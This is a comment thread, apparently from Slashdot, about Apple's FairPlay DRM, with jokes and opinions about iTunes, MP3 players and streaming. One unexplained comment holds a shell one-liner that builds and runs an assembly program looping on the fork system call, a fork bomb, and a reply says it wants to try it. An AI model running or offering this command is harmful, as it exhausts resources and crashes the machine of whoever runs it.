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Apple's iTunes DRM Dilemma
An anonymous reader writes "Understanding how Apple's FairPlay DRM works helps to answer a lot of questions: why it hasn't been replaced with an open, interoperable DRM that anyone can use, why Apple isn't broadly licensing FairPlay, and why the company hasn't jumped to add DRM-free content from indie artists to iTunes."
DRM jellomizer DRM
Sorry man, you have a new boss now.
But But But Joey has DRM that means its OKAY for me to have DRM! The bad guys do it, so should I!
and that iTunes copy of "I like big butts" you bought will play on all mp3 players except the Zune.
The song is called "Baby Got Back", you insensitive clod!
This will likely get labeled flamebait but it all seems so simple to me. Who needs Apple?
Get a $15 dollar mp3 player from singapore on Ebay. Stop using Itunes.
There, we solved Apple's drm problem for them.
What about when Jack Bauer tortures a terrorist so he can find where they've hidden a nuclear bomb. Or when he kills one of them? Would you say that's evil?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
They should make some kind of stripped down computer that you could hook up to your TV and wirelessly stream video to from iTunes. That would even be better then burning a DVD and walking it the 10 feet over to the TV. Those bastards would never do that though.
Is it only me that immediately wants to try that now?